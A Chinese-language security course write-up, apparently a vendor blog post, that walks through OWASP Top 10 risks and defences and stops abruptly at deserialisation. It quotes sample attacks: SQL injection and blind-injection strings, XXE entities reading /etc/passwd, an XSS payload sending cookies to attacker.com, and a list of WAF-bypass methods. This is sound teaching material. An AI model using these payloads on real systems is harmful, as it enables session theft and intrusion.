WebApp 安全風險與防護課堂（第二講）開課了！

阿新 • • 發佈：2019-06-27

本文由葡萄城技術團隊於原創並首發

轉載請註明出處：葡萄城官網，葡萄城為開發者提供專業的開發工具、解決方案和服務，賦能開發者。

在昨天的公開課中，由於參與的小夥伴們積極性和熱情非常高，我們的講師Carl（陳慶）把原定第二講的大部分也一併獻出了，所以原定三場的公開課也變為了兩場，本系列的公開課生動有趣、乾貨滿滿、受眾廣泛，所以沒有參與上次課程的小夥伴們這次請不要忘記了，本期公開課，我們將著重介紹OWASP Top 10（10項最嚴重的Web應用程式安全風險預警）及其應對策略。公開課地址：http://live.vhall.com/137416596

OWASP Top 10 應用安全風險詳解

《OWASP Top 10》的目的在於為廣大企業確定一組最嚴重的風險專案。對於其中的每一項風險，我們將使用基於OWASP風險等級排序的評級方案，為您提供關於漏洞普遍性、可檢測性、業務/技術影響等資訊。

一、注入

將不受信任的資料作為命令或查詢的一部分發送到解析器時，會產生諸如SQL注入、NoSQL注入、OS注入和LDAP注入等注入缺陷。攻擊者的惡意資料可以誘使解析器在沒有適當授權的情況下執行非預期命令或訪問資料。

可利用性：容易

幾乎任何資料來源都能成為注入載體，包括環境變數、所有型別的使用者、引數、外部和內部Web服務。當攻擊者可以向直譯器傳送惡意資料時，注入漏洞便可產生。

普遍性：常見

注入漏洞十分普遍，尤其是在遺留程式碼中。注入漏洞通常能在SQL、LDAP、XPath或是NoSQL查詢語句、OS命令、XML解析器、SMTP包頭、表示式語句及ORM查詢語句中找到。

可檢測性：易

注入漏洞很容易通過程式碼審查發現。掃描器和模糊測試工具可以幫助攻擊者找到這些漏洞。

技術影響：嚴重

注入能導致資料丟失、破壞或洩露給無授權方、缺乏可審計性或是拒絕服務。注入有時甚至能導致主機被完全接管。

業務影響：未知

您的應用和資料需要受到保護，以避免對業務造成影響。

自查：您的應用程式脆弱嗎？

當您的應用有如下情況時，是脆弱且易受到攻擊的：

使用者提供的資料沒有經過應用程式的驗證、過濾或淨化。

動態查詢語句或非引數化的呼叫，在沒有上下文感知轉義的情況下，被用於直譯器。
在ORM搜尋引數中使用了惡意資料，這樣搜尋就獲得包含敏感或未授權的資料。
惡意資料直接被使用或連線，諸如SQL語句或命令在動態查詢語句、命令或儲存過程中包含結構和惡意資料。

一些常見的注入，包括：SQL、OS命令、ORM、LDAP和表示式語言（EL）或OGNL注入。

所有編譯器的原理都是相似的，因此 Code Review是目前為止最有效的檢測應用程式注入風險的辦法之一。當然，您也可以對程式碼中所有引數、欄位、頭、cookie、JSON和XML資料輸入進行DAST掃描，並將SAST和DAST工具新增到CI/CD程序中，以便在專案部署前對現有程式碼或新程式碼進行注入檢測。

如何防止注入？

防止注入漏洞需要將資料與命令語句、查詢語句分隔開來：

最佳選擇是使用安全的API，完全避免使用直譯器，或提供引數化介面的API，或遷移到ORM或實體框架中。（注意：當引數化時，如果PL/SQL或T-SQL將查詢和資料連線在一起，或者執行帶有立即執行或exec()的惡意資料，儲存過程仍然可以引入SQL注入漏洞。）
使用正確或符合“白名單”規範的輸入驗證方法，同樣有助於防止注入攻擊，但這很可能引起使用者的吐槽，因為許多應用程式在輸入中需要特殊字元，如文字區域或移動應用程式的API。
對於所有動態查詢，可以使用該直譯器的特定轉義語法轉義特殊字元。OWASP的Java Encoder和類似的庫提供了這樣的轉義例程。（注意：在SQL結構中，表名、列名等無法轉義，因此使用者提供的結構往往是非常危險的。）
在查詢中使用LIMIT和其他SQL控制元件，防止在SQL注入時引發大量資料洩露。

攻擊案例場景

場景#1：應用程式在脆弱的SQL語句結構中使用不可信資料：

String query = "SELECT * FROM accounts WHERE

custID='" + request.getParameter("id") + "'“;

場景#2：框架應用的盲目信任，也可能導致查詢語句的漏洞。（例如：Hibernate查詢語言（HQL））：

Query HQLQuery = session.createQuery("FROM accounts

WHERE custID='" + request.getParameter("id") + "'");

在這兩個案例中，攻擊者在瀏覽器中將“id”引數的值修改成： ’or’1’=’1。例如：

http://example.com/app/accountView?id=' or '1'='1

這樣查詢語句的意義就變成了從accounts表中返回所有記錄。

SQL盲注

SQL盲注，就是在SQL語句注入後且成功執行時，執行的結果不能回顯到前端頁面。此時，我們需要利用一些方法進行判斷或者嘗試，這個過程稱之為盲注。

盲注一般分為三類：

一、基於布林的盲注

基於布林的盲注通常使用邏輯判斷推測獲取的資料，通過給定條件，伺服器返回真或假。使用二分法或者正則表示式等方法即可縮小判斷的範圍。

二、基於時間的盲注

主要是利用延時或者執行的時間來判斷。

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句，條件為假，執行 sleep

因為延時會受到網路環境的影響，因此這種方法不是很可靠。

三、基於報錯的盲注

構造payload讓資訊通過錯誤提示顯示。

count(*)和rand(0)和group by報錯

rand(0)是偽隨機數列，01101100。產生報錯的原因是因為rand(0)並不是一個定值，相當於一個變數。使用group by時，會建立一張虛擬表，欄位為key和count(*)。執行插入操作，第一次返回0，但虛擬表中沒有這個項，資料庫會認為需要插入這個項，但資料庫並沒有記錄下來，因此，會再次執行rand(0) 試圖獲取，但此時獲取的是第二個數。依次類推，當資料庫查詢發現0這個項不存在，執行插入操作時， rand(0)返回值為1，但是1已經存在，這時插入已經存在的項就會報錯。

WAF繞過

之所以要談到WAF的常見特徵，是為了更好的瞭解WAF的執行機制，以便增加繞過WAF的機會。總體來說，WAF(Web Application Firewall)具有以下四個方面的功能：

審計裝置：用來截獲所有HTTP資料或者僅僅滿足某些規則的會話
訪問控制裝置：用來控制對Web應用的訪問，既包括主動安全模式也包括被動安全模式
架構/網路設計工具：當執行在反向代理模式，他們被用來分配職能，集中控制，虛擬基礎結構等
WEB應用加固工具：這些功能增強被保護Web應用的安全性，它不僅能夠遮蔽WEB應用固有弱點，而且能夠保護WEB應用程式設計錯誤導致的安全隱患

WAF過濾機制：

異常檢測協議：拒絕不符合HTTP標準的請求；
增強的輸入驗證：代理和服務端的驗證，而不只是限於客戶端驗證；
白名單&黑名單：白名單適用於穩定的Web應用，黑名單適合處理已知問題；
基於規則和基於異常的保護：基於規則更多的依賴黑名單機制，基於異常更為靈活；
狀態管理：重點進行會話保護；
其他：Cookies保護、抗入侵規避技術、響應監視和資訊洩露保護等。

繞過WAF的方法：

從目前能找到的資料來看，繞過WAF的技術主要分為9類，包含：

大小寫混合（最簡單的繞過技術，用於只針對小寫或大寫的關鍵字匹配技術）
替換關鍵字（這種方式大小寫轉化無法繞過，而且正則表示式會替換或刪除select、union這些關鍵字，如果只匹配一次就很容易繞過）
使用編碼（URL編碼、Unicode編碼）
使用註釋（普通註釋、內聯註釋）
等價函式與命令（有些函式或命令因其關鍵字被檢測出來而無法使用，但是在很多情況下可以使用與之等價或類似的程式碼替代其使用）
特殊符號（特殊符號有特殊的含義和用法，涉及資訊量比前面提到的幾種都要多）
HTTP引數控制（這裡HTTP引數控制除了對查詢語句的引數進行篡改，還包括HTTP方法、HTTP頭的控制）
緩衝區溢位（緩衝區溢位用於對付WAF，有不少WAF是C語言寫的，而C語言自身沒有緩衝區保護機制，因此如果WAF在處理測試向量時超出了其緩衝區長度，就會引發bug從而實現繞過）
整合繞過（整合的意思是結合使用前面談到的各種繞過技術，單一的技術可能無法繞過過濾機制，但是多種技術的配合使用成功的可能性就會增加不少。除非每一種技術單獨都無法使用，否則它們能產生比自身大得多的能量。）

二、身份認證失效

通過錯誤地使用Web應用程式的身份認證和會話管理功能，攻擊者能夠破譯密碼、金鑰和會話令牌，或者利用其它開發缺陷來暫時性或永久性地冒充管理員的身份。

可利用性：容易

攻擊者可以輕鬆獲取數百萬條有效使用者名稱和密碼組合，包括證書、預設的賬戶管理列表、自動的暴力破解和字典攻擊工具，以及高階的GPU破解工具。會話管理可以很容易地被利用，尤其是沒有過期的會話密匙。

普遍性：常見

大多數管理系統的設計和實現，都存在身份認證失效的問題。會話管理是身份驗證和訪問控制的基礎，並且存在於整個應用程式的程序中。

可檢測性：一般

攻擊者通常使用指南手冊來檢測失效的身份驗證。除此之外，也會關注密碼轉儲、字典攻擊，或者在類似釣魚、社會工程攻擊後，發現失效的身份認證。

技術影響：嚴重

攻擊者只需訪問幾個賬戶，或者一個管理員賬戶就可以破壞我們的系統。根據應用程式業務場景的不同，可能會導致洗錢、欺詐、使用者身份盜竊、洩露法律保護的敏感資訊等嚴重違法行為。

自查：您的應用程式脆弱嗎？

確認使用者身份、身份驗證和會話管理非常重要，這些措施可用於將惡意的、未經身份驗證的攻擊者與授權使用者進行分離。如果您的應用程式存在如下問題，那麼可能存在身份驗證失效漏洞：

允許憑證填充，攻擊者可利用此獲得有效的使用者名稱和密碼。
允許暴力破解或其他自動攻擊。
使用預設、弱安全性的密碼，例如“Password1”或“admin/admin”。
使用弱安全性或失效的驗證憑證。
使用明文、加密或弱雜湊密碼。
缺少或失效的多因素身份驗證。
暴露URL中的會話ID（例如URL重寫）。
在成功登入後不會更新會話ID。
不正確地使會話ID失效。當用戶不活躍的時候，使用者會話或認證令牌（特別是單點登入（SSO）令牌）沒有正確登出或失效。
在儘可能的情況下，使用多因素身份驗證，以防止憑證填充、暴力破解和被盜憑據再利用攻擊。
不要使用已傳送或部署預設的憑證，特別是管理員使用者。
定期執行弱密碼檢查。
將密碼長度、複雜性和迴圈策略與NIST-800-63 B的指導方針或其他現代的密碼策略保持一致。
確認註冊、憑據恢復和API路徑，確保對所有輸出結果使用相同的訊息，用以抵禦賬戶列舉攻擊。
限制或逐漸延遲失敗的登入嘗試。記錄所有失敗資訊並在憑據填充、暴力破解或其他攻擊被檢測時提醒系統管理員。
使用伺服器端內建的會話管理器，在登入後生成高度複雜且不存在於URL的隨機會話ID。這樣當用戶登出、閒置、絕對超時後使其失效。

如何防止？

攻擊案例場景

場景#1：最常見的攻擊方式——憑證填充，使用已知密碼的列表。如果應用程式不限制身份驗證嘗試次數，則可以將應用程式用作密碼oracle，以確定憑證是否有效。

場景#2：大多數身份驗證攻擊都是由於密碼作為唯一的認證因素。

場景#3：應用會話超時設定不正確。使用者使用公共計算機訪問應用程式時，直接關閉瀏覽器選項卡就離開，而不是選擇“登出”。

憑據填充（撞庫）

撞庫，是黑客通過收集網際網路已洩露的使用者和密碼資訊，生成對應的字典表，嘗試批量登陸其他網站後，得到一系列可以登入的使用者。很多使用者在不同網站使用的是相同的賬號和密碼，因此黑客可以通過獲取使用者在A網站的賬戶從而嘗試登入B網站，這就是撞庫攻擊。

撞庫可以通過資料庫安全防護技術解決，資料庫安全技術包括：資料庫漏掃、資料庫加密、資料庫防火牆、資料脫敏、資料庫安全審計系統。

撞庫並不神祕，事實上，它正被廣泛的使用。舉例而言，根據Shape Security的報告，“攻擊者們一旦鎖定了一個財富100強的B2C(企業對消費者)網站，就會在一個星期內使用遍佈世界各地的代理伺服器，對其進行超過五百萬次登入嘗試。” 雪上加霜的是，被竊取的憑證也並不難找。黑客們會為了找樂子或尋求揚名立萬的機會把憑證散播到網上。當黑客們在憑證黑市(比如Cracking-dot-org、 Crackingking-dot-org以及 Crackingseal-dot-io)做生意時，這些名聲會派上大用場。

多因素驗證

多因素驗證（Multi-factor authentication，縮寫為 MFA），又譯多因子認證、多因素認證，是一種計算機訪問控制的方法，使用者要通過兩種以上的認證機制之後，才能得到授權，使用計算機資源。例如，使用者要輸入PIN碼，插入銀行卡，最後再經指紋比對，通過這三種認證方式，才能獲得授權。這種認證方式可以提高安全性。

三、敏感資料洩露

許多Web應用程式和API都無法正確保護敏感資料，例如：財務資料、醫療資料和PII資料。攻擊者可以通過竊取或修改未加密的資料來實施信用卡詐騙、身份盜竊或其他犯罪行為。未加密的敏感資料容易受到破壞，因此，我們需要對敏感資料加密，這些資料包括：傳輸過程中的資料、儲存的資料以及瀏覽器的互動資料。

可利用性：一般

攻擊者並非直接攻擊，而是在傳輸過程中、從客戶端（例如：瀏覽器）竊取金鑰、發起中間人攻擊，或從伺服器端直接竊取明文資料。

普遍性：廣泛

這是最常見，也是最具影響力的攻擊手段。在資料加密的過程中，由於不安全的金鑰生成、管理以及使用弱加密演算法、弱協議和弱密碼（未加鹽的雜湊演算法或弱雜湊演算法），導致資料洩露事件頻發。

可檢測性：一般

在伺服器端，檢測傳輸過程中的資料弱點很容易，但檢測儲存資料的弱點卻異常困難。

技術影響：嚴重

敏感資料洩露事件造成的影響是非常嚴重的，因為這些資料通常包含了很多個人資訊（PII），例如：醫療記錄、認證憑證、個人隱私、信用卡資訊等。這些資訊受到相關法律和條例的保護，例如：歐盟《通用資料保護條例》（GDPR）和地方隱私保護法律。

自查：您的應用程式脆弱嗎？

首先你需要確認哪些資料（包含：傳輸過程中的資料、儲存資料）是敏感資料。例如：密碼、信用卡卡號、醫療記錄、個人資訊等，這些資料應該被加密，請Review：

在資料傳輸過程中是否使用明文傳輸？這和傳輸協議相關，如：HTTP、SMTP和FTP。（注意：外網流量十分危險，請驗證所有的內部通訊，如：負載平衡器、Web伺服器或後端系統之間的通訊。）
當資料被長期儲存時，無論儲存在哪裡，它們是否都被加密或備份？
無論預設條件還是原始碼中，是否還在使用任何舊的、脆弱的加密演算法？
是否使用預設加密金鑰，生成或重複使用脆弱的加密金鑰，或者缺少恰當的金鑰管理或金鑰迴轉？
是否強制加密敏感資料，例如：使用者代理（如：瀏覽器）指令，傳輸協議是否被加密？
使用者代理（如：應用程式、郵件客戶端）是否未驗證伺服器端證書的有效性？

如何防止？

對一些需要加密的敏感資料，應該做到以下幾點：

對系統處理、儲存或傳輸的資料分類，並根據分類分別進行訪問控制。
熟悉與敏感資料保護相關的法律和條例，並根據每項法規的要求保護敏感資料。
對於沒必要存放，但重要的敏感資料，應當儘快清除，或者通過 PCI DSS標記或攔截，只有未儲存的資料才不會被竊取。
確保已儲存的所有敏感資料都被加密。
確保使用了最新、強大的標準演算法或密碼、引數、協議和金鑰，並且金鑰管理到位。
確保傳輸過程中的資料被加密，如：使用TLS。
確保資料加密被強制執行，如：使用HTTP嚴格安全傳輸協議（HSTS ）。
禁止快取對包含敏感資料的響應。
確保使用密碼專用演算法儲存密碼，如：Argon2 、scrypt 、bcrypt 或PBKDF2 。

10. 將工作因素（延遲因素）設定在可接受的範圍。

11. 單獨驗證每個安全配置項的有效性。

攻擊案例場景

場景 #1：假設一個應用程式使用自動化的資料加密系統加密了信用卡資訊，並存儲在資料庫中，當資料被檢索時自動解密。這會導致SQL注入漏洞能夠以明文形式獲得所有信用卡卡號。

場景 #2：一個網站上沒有使用或強制使用TLS，或者僅使用弱加密演算法。攻擊者通過監測網路流量（如：不安全的無線網路），將網路連線從HTTPS降級到HTTP，就可以擷取請求並竊取使用者會話 cookie。然後，攻擊者可以複製使用者cookie併成功劫持經過認證的使用者會話、訪問或修改使用者個人資訊。除此之外，攻擊者還可以更改所有傳輸過程中的資料，如：轉款的接收者。

場景 #3：密碼資料庫使用未加鹽的雜湊演算法或弱雜湊演算法去儲存密碼，此時，一個檔案上傳漏洞可使黑客能夠獲取密碼檔案，而這些未加鹽的雜湊密碼通過彩虹表暴力破解方式即可快速破解。

各國應對措施

日本個人資訊保護法

近年來，因資訊、通訊技術的發展，企業需要收集大量個人資訊，用以提供準確且迅速的服務。個人資訊的利用，無論是對現今的商業活動，還是對國民生活都變得不可或缺。但是，另一方面，由於處理個人資訊狀況不當，導致個人權利和利益受到損害的可能性也在增大。在日本，包含企業和政府等團體的組織內部，洩露的個人資訊數量累積超過了1000萬件。於是，鑑於規範處理個人資訊，明確國家及地方公共團體的職責，確保個人資訊有效利用等目的，日本於2005年4月1日起頒佈《個人資訊保護法》。

歐盟《通用資料保護條例》（GDPR)

歐盟《通用資料保護條例》（General Data Protection Regulation，簡稱GDPR），其前身是歐盟在1995年制定的《計算機資料保護法》，該法明確規定：

對違法企業的罰金最高可達2000萬歐元（約合1.5億元人民幣）或其全球營業額的4%，以高者為準。
網站經營者必須事先向客戶說明會自動記錄客戶的搜尋和購物記錄，並獲得使用者的同意，否則按“未告知記錄使用者行為”作違法處理。
企業不能再使用模糊、難以理解的語言，或冗長的隱私政策來從使用者處獲取資料使用許可。
明文規定了使用者的“被遺忘權”（right to be forgotten），即使用者個人可以要求責任方刪除關於自己的資料記錄。

設計安全賬號系統的正確姿勢

資料安全防範的方法簡單來說，當資料從使用者鍵盤敲出的那一刻，到伺服器後臺儲存過程中，都需保持正確的姿勢。如：

用正確的姿勢儲存密碼

a) 低階錯誤：明文儲存密碼

b) 低階錯誤：可逆加密密碼

c) 錯誤方法：md5 加密密碼

d) 正確方法：加鹽 hash 儲存密碼

用正確的姿勢傳輸資料

a) 驗證服務端的合法性

b) 確保通訊的安全

用正確的姿勢加密敏感資訊
用正確的姿勢對資料進行備份和監控

四、XML 外部實體（XXE）

許多較早的或配置錯誤的XML處理器評估了XML檔案中的外部實體引用。攻擊者可以利用外部實體竊取使用URI檔案處理器的內部檔案和共享檔案、監聽內部掃描埠、執行遠端程式碼和實施拒絕服務攻擊。

可利用性：一般

如果攻擊者可以上傳XML文件或在XML文件中新增惡意內容（如，易受攻擊的程式碼、依賴項或整合），他們就能夠攻擊含有缺陷的XML處理器。

普遍性：常見

一般來說，許多舊的XML處理器能夠對外部實體、XML程序中被引用和評估的URI進行規範。SAST 工具可以通過檢查依賴項和安全配置來發現XXE缺陷。DAST工具需要額外的手動步驟來檢測和利用XXE缺陷。

技術影響：嚴重

XXE缺陷可用於提取資料、執行遠端伺服器請求、掃描內部系統、執行拒

絕服務攻擊和其他攻擊。

自查：您的應用程式脆弱嗎？

應用程式，特別是基於XML的Web服務，可能在以下方面容易受到攻擊：

您的應用程式直接接受XML檔案或者接受XML檔案上傳，特別是來自不受信任源的檔案，或者將不受信任的資料插入XML檔案，並提交給XML處理器解析。
在應用程式或基於Web服務的SOAP中，所有XML處理器都啟用了文件型別定義（DTDs）。
為了實現安全性或單點登入（SSO），您的應用程式應該使用了 SAML進行身份認證，而假設SAML使用了XML進行身份確認，那麼您的應用程式就容易受到XXE攻擊。
如果您的應用程式使用第1.2版之前的SOAP，並將XML實體傳遞到SOAP框架，那麼它可能受到XXE攻擊。
存在XXE缺陷的應用程式更容易受到拒絕服務攻擊，如： Billion Laughs 攻擊。

如何防止？

培訓開發人員的安全意識，是識別和減少XXE的關鍵，除此之外，還需要：

儘可能地使用簡單的資料格式（如：JSON），避免對敏感資料進行序列化。
及時修復或更新應用程式或底層作業系統使用的XML處理器和庫。同時，通過依賴項檢測，將SOAP更新到1.2版本或更高版本。
參考《OWASP Cheat Sheet ‘XXE Prevention‘》，在應用程式的所有XML解析器中禁用XML外部實體和DTD程序。
在伺服器端實施（“白名單”）輸入驗證、過濾和清理，以防止在XML文件、標題或節點中出現惡意資料。
驗證XML或XSL檔案上傳功能是否使用了XSD驗證或其他類似的驗證。
儘管在許多整合環境中，手動程式碼審查是大型、複雜應用程式的最佳選擇，但是SAST 工具可以檢測原始碼中的XXE漏洞。如果無法實現這些控制，請考慮使用虛擬修復程式、API安全閘道器或Web應用程式防火牆（ WAF ）來檢測、監控和防止XXE攻擊。

攻擊案例場景

目前，已經有大量XXE缺陷被發現並公開，這些缺陷包括上傳可被接受的惡意XML檔案、嵌入式裝置的 XXE缺陷及深巢狀的依賴項等。

場景 #1：攻擊者嘗試從服務端提取資料：
<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>

場景 #2：攻擊者通過將上面的實體行更改為以下內容來探測伺服器的專用網路：

<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

場景 #3：攻擊者通過惡意檔案執行拒絕服務攻擊：

<!ENTITY xxe SYSTEM "file:///dev/random" >]>

XML基本定義

XML是用於標記電子檔案使其具有結構性的標記語言，可以用來標記資料、定義資料型別，是一種允許使用者對自己的標記語言進行定義的源語言。XML文件結構包括XML宣告、DTD文件型別定義（可選）、文件元素。

圖片來自網路

XML由3個部分構成，分別是：文件型別定義（Document Type Definition，DTD），即XML的佈局語言；可擴充套件的樣式語言（Extensible Style Language，XSL），即XML的樣式表語言；以及可擴充套件連結語言（Extensible Link Language，XLL）。

XML 中的實體分為以下五種：字元實體，命名實體，外部實體，引數實體，內部實體，普通實體和引數實體都分為內部實體和外部實體兩種，外部實體定義需要加上 SYSTEM關鍵字，其內容是URL所指向的外部檔案實際的內容。如果不加SYSTEM關鍵字，則為內部實體，表示實體指代內容為字串。

XML外部實體

XML外部實體表示外部檔案的內容，用 SYSTEM 關鍵詞表示：

<!ENTITY test SYSTEM "1.xml">

有些XML文件包含system識別符號定義的“實體”，這些文件會在DOCTYPE頭部標籤中呈現。這些定義的“實體”能夠訪問本地或者遠端的內容。比如，下面的XML文件示例就包含了XML“實體”。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE Anything [

<!ENTITY entityex SYSTEM "file:///etc/passwd">

]>

<abc>&entityex;</abc>

在上面的程式碼中， XML外部實體 ‘entityex’ 被賦予的值為：file://etc/passwd。在解析XML文件的過程中，實體’entityex’的值會被替換為URI(file://etc/passwd)內容值（也就是passwd檔案的內容）。關鍵字’SYSTEM’會告訴XML解析器，’entityex’實體的值將從其後的URI中讀取，並把讀取的內容替換entityex出現的地方。

假如 SYSTEM 後面的內容可以被使用者控制，那麼使用者就可以隨意替換為其他內容，從而讀取伺服器本地檔案（file:///etc/passwd)或者遠端檔案（http://www.baidu.com/abc.txt）。

XXE 注入定義

XXE注入（即XML External Entity, XML外部實體注入）。通過 XML 實體，”SYSTEM”關鍵詞導致 XML 解析器可以從本地檔案或者遠端 URI 中讀取資料。攻擊者可以通過 XML 實體傳遞自己構造的惡意值，從而引導處理程式解析它。當引用外部實體時，攻擊者通過構造惡意內容，可讀取任意檔案、執行系統命令、探測內網埠、攻擊內網網站等行為。

XXE 漏洞原理

最常見的XXE漏洞型別分為以下三種：

基礎的XXE注入— 外部實體注入本地DTD
基於盲注的XXE注入—XML解析器在響應中不顯示任何錯誤
基於錯誤的XXE注入—成功解析之後，XML解析器始終顯示SAME響應。（即“您的訊息已被接收”），因此，我們可能希望解析器將檔案的內容“列印”到錯誤響應中。

既然XML可以從外部讀取DTD檔案，那我們就自然地想到了如果將路徑換成另一個檔案的路徑，那麼伺服器在解析這個XML的時候就會把那個檔案的內容賦值給SYSTEM前面的根元素中，只要我們在XML中讓前面的根元素的內容顯示出來，就可以讀取那個檔案的內容了。這就造成了一個任意檔案讀取的漏洞。

假設我們指向的是一個內網主機的埠呢？是否會給出錯誤資訊，我們是不是可以從錯誤資訊上來判斷內網主機這個埠是否開放，這就造成了一個內部埠被探測的問題。一般來說，伺服器解析XML有兩種方式，一種是一次性將整個XML載入進記憶體中，進行解析；另一種是一部分的、“流式”地載入、解析。如果我們遞迴地呼叫XML定義，一次性呼叫巨量的定義，那麼伺服器的記憶體就會被消耗完，造成了拒絕服務攻擊。

五、失效的訪問控制

未對通過身份驗證的使用者實施恰當的訪問控制。攻擊者可以利用這些缺陷，訪問未經授權的功能或資料，例如：訪問其他使用者的賬戶、檢視敏感檔案、修改其他使用者的資料、更改訪問許可權等。

六、安全配置錯誤

安全配置錯誤是最常見的安全問題，這通常是由於不安全的預設配置、不完整的臨時配置、開源雲端儲存、錯誤的 HTTP 標頭配置以及包含敏感資訊的詳細錯誤資訊所造成的。因此，我們不僅需要對所有的作業系統、框架、庫和應用程式進行安全配置，而且必須及時修補和升級它們。

七、跨站指令碼（XSS）

當應用程式的新網頁中包含不受信任的、未經驗證或轉義的資料時，或者使用可以建立 HTML或 JavaScript 的瀏覽器 API 更新現有網頁時，就會出現 XSS 缺陷。XSS 讓攻擊者能夠在受害者的瀏覽器中執行指令碼，並劫持使用者會話、破壞網站或將使用者重定向到惡意站點。

可利用性：容易

自動化工具能夠檢測並利用所有的三種XSS形式，並且存放在便於攻擊者利用的漏洞中。

普遍性：廣泛

XSS是OWASP Top10中第二普遍的安全問題，存在於近三分之二的應用程式中。

可檢測性：容易

自動化工具能發現XSS問題，尤其是一些成熟的技術框架中，如：PHP、J2EE或JSP、ASP.NET等。

技術影響：中等

XSS對於反射和DOM的影響是中等的，而對於儲存的XSS，XSS的影響更為嚴重，譬如在受到攻擊的瀏覽器上執行遠端程式碼，如：竊取憑證和會話或傳遞惡意軟體等。

自查：您的應用程式脆弱嗎？

針對使用者的瀏覽器，存在三種XSS型別：

反射式XSS：應用程式或API包含未經驗證和未經轉義的使用者輸入，並作為HTML輸出的一部分，受到此類攻擊可以讓攻擊者在受害者的瀏覽器中執行任意的HTML和JavaScript。
儲存式XSS：你的應用或者API將未淨化的使用者輸入進行儲存，並在其他使用者或者管理員的頁面展示出來。儲存型XSS一般被認為是高危或嚴重的風險。
基於DOM的XSS：會動態的將攻擊者操控的內容加入到頁面的 JavaScript框架、單頁面程式或API中。為避免此類攻擊，你應該禁止將攻擊者可控的資料傳送給不安全的JavaScript API。

典型的XSS攻擊造成的結果包含：盜取Session、賬戶、繞過MFA、DIV替換、對使用者瀏覽器的攻擊（例如：惡意軟體下載、鍵盤記錄）以及其他使用者側的攻擊。

如何防止？

防止XSS，需要將不可信的資料與動態的瀏覽器內容區分開：

使用已解決XSS問題的框架，如：Ruby 3.0 或 React JS。瞭解每個框架對XSS保護的侷限性，並適當地處理未覆蓋的用例。
為了避免反射式或儲存式的XSS漏洞，最好的辦法是根據HTML 輸出的上下文（包括：主體、屬性、JavaScript、CSS或URL）對所有不可信的HTTP請求資料進行恰當的轉義。
在客戶端修改瀏覽器文件時，為了避免DOM XSS攻擊，最好的選擇是實施上下文敏感資料編碼。如果這種情況不能避免，可以採用《OWASP Cheat Sheet ‘DOM based XSS Prevention ‘》一文中描述的類似於上下文敏感的轉義技術，並應用於瀏覽器API。
使用內容安全策略（CSP）是對抗XSS的最終防禦策略。如果不存在可以通過本地檔案存放惡意程式碼的漏洞（例如：路徑遍歷覆蓋和允許在網路中傳輸的易受攻擊的庫），則該策略是有效的。

攻擊案例場景

場景#1：應用程式在下面的HTML程式碼段構造中使用了未經驗證或轉義的不可信的資料來源：

(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC“) + "'>";

攻擊者在瀏覽器中修改“CC” 引數為如下值：

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

這個攻擊會導致受害者的會話ID被髮送到攻擊者的網站，使得攻擊者能夠劫持使用者當前會話。

內容安全策略 (CSP)

內容安全策略 (CSP) 是一個額外的安全層，用於檢測並削弱某些特定型別的攻擊，包括跨站指令碼 (XSS) 和資料注入攻擊等。無論是資料盜取、網站內容汙染還是惡意軟體，這些攻擊都是主要的手段。

CSP 被設計成完全向後相容（除CSP2 在向後相容有明確提及的不一致外）。不支援CSP的瀏覽器也能與實現了CSP的伺服器正常合作，反之亦然：不支援 CSP 的瀏覽器只會忽略它，如常執行，預設為網頁內容使用標準的同源策略。如果網站不提供 CSP Header，瀏覽器將使用標準的同源策略。

為使CSP可用, 你需要配置你的網路伺服器返回 Content-Security-Policy HTTP Header ( 有時你會看到一些關於X-Content-Security-Policy Header的提法, 那是舊版本，你無須再如此指定它)。

除此之外, <meta> 元素也可以被用來配置該策略, 例如：

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

上下文敏感資料編碼（XSS編碼與繞過）

對於瞭解Web安全的朋友來說，都知道XSS這種漏洞，其危害性不用強調。一般對於該漏洞的防護有兩個思路：一是過濾敏感字元，諸如【<，>，script，'】等，另一種是對敏感字元進行html編碼，諸如php中的htmlspecialchars()函式。

一般情況，正確實施這兩種方案之一就可以有效防禦XSS漏洞了。但其實也會有一些場景，即使實施了這兩種方案，攻擊者也可以繞過防護，導致XSS漏洞被利用。

場景一：XSS注入點在某個html標籤屬性中，程式碼片段如下：

可以看到，這裡防護措施採用的是方案一：過濾敏感字元。這裡如果輸入javascript:alert (11)，是會被過濾掉的，輸出的內容會是：

場景二：XSS注入點在js標籤中，程式碼片段如下：

這裡採用的防護措施是第二種，即使用php內建函式htmlspecialchars對敏感字元進行編碼。如果輸入正常的payload，如：<img src=1 onerror=alert(11)>，是不會有彈窗的，此時瀏覽器的輸出如下圖：

這裡的敏感字元< >，已經被html編碼了，最後在<div>標籤裡面輸出的時候，瀏覽器再使用html解碼將其原文顯示出來，但是並不會觸發js引擎，所以也就沒有彈窗。

下圖是js編碼後的payload：

八、不安全的反序列化

不安全的反序列化會導致遠端程式碼執行。即使反序列化缺陷不會導致遠端程式碼執行，攻擊者也可以利用它們來執行攻擊，包括：重播攻擊、注入攻擊和特權升級攻擊。

可利用性：難

對反序列化的利用非常困難。因為在不更改或調整底層可被利用程式碼的情況下，現成的反序列化漏洞很難被使用。

可檢測性：一般

有些工具可以被用於發現反序列化缺陷，但經常需要人工幫助來驗證發現的問題。希望有關反序列化缺陷的普遍性資料將隨著工具的開發而被更多的識別和解決。

技術影響：嚴重

反序列化缺陷的影響不能被低估。它們可能導致遠端程式碼執行攻擊，這是可能發生的最嚴重的攻擊之一。

自查：您的應用程式脆弱嗎？

如果反序列化進攻者提供惡意程式碼或者被篡改過的物件，將會使整個應用程式和API變的脆弱，這可能會導致以下兩種主要型別的攻擊：

如果應用中存在可以在反序列化過程中或者之後被改變行為的類，則攻擊者可以通過改變應用邏輯或者實現遠端程式碼執行攻擊，這種攻擊方式被稱為物件和資料結構攻擊。
典型的資料篡改攻擊，如訪問控制相關的攻擊，其中使用了現有的資料結構，但內容發生了變化。

在應用程式中，序列化可能被用於:

遠端和程序間通訊（RPC / IPC）
連線協議、Web服務、訊息代理
快取/永續性
資料庫、快取伺服器、檔案系統
HTTP cookie、HTML表單引數、API身份驗證令牌

如何防止？

